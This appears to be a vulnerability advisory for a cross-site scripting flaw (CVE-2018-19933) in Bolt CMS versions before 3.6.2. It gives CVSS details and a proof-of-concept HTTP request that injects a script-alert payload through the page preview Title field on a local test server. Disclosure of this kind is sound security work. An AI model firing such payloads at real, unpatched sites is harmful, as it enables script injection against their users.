Bolt CMS Cross Site Scripting

2018.12.21
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: Bolt CMS <3.6.2 - Cross-Site Scripting # Google Dork: N/A # Date: 2018-12-18 # Exploit Author: Raif Berkay Dincel [ author=9567 ] # Contact: www.raifberkaydincel.com # Vendor Homepage: bolt.cm # Vulnerable Software --> [ https://github.com/rdincel1/Bolt-CMS-3.6.2---Cross-Site-Scripting/raw/master/bolt-v3.6.2.zip ] # Affected Version: [ < 3.6.2 ] # CVE-ID: CVE-2018-19933 # Tested on: Parrot Security OS / Linux Mint / Windows 10 # Vulnerable Parameter Type: POST # Vulnerable Parameter: http://127.0.0.1:8000/preview/page # Attack Pattern: <script>alert("Raif")</script> # Description Bolt CMS <3.6.2 allows XSS via text input click preview button as demonstrated by the Title field of a Configured and New Entry. # PoC [Video]: https://youtu.be/3eTPyIpjCJg # Proof of Concepts: POST /preview/page HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1:8000/bolt/editcontent/pages Content-Type: application/x-www-form-urlencoded Content-Length: 396 Connection: close Cookie: bolt_session_cf7976ea5999f8e272ce7cd50c84d240=14b61865131cf9422af970ae28a097b7; bolt_authtoken_cf7976ea5999f8e272ce7cd50c84d240=0b69633d5a549f19bf3faa88462b7b8e17ba57ba9dff6d25a708efe6dd6a9a04 Upgrade-Insecure-Requests: 1 content_edit%5B_token%5D=jMmm41dJQXpXx3gwE_VQkA60fdsNo6DERJClPVkYh7U&editreferrer=&contenttype=pages&title=%3Cscript%3Ealert%28%22Raif%22%29%3C%2Fscript%3E&slug=script-alert-raif-script&image%5Bfile%5D=&files%5B%5D=&teaser=&body=&template=&taxonomy%5Bgroups%5D%5B%5D=&taxonomy-order%5Bgroups%5D=0&id=&status=draft&datepublish=2018-12-07+00%3A12%3A05&datedepublish=&ownerid=1&_live-editor-preview=


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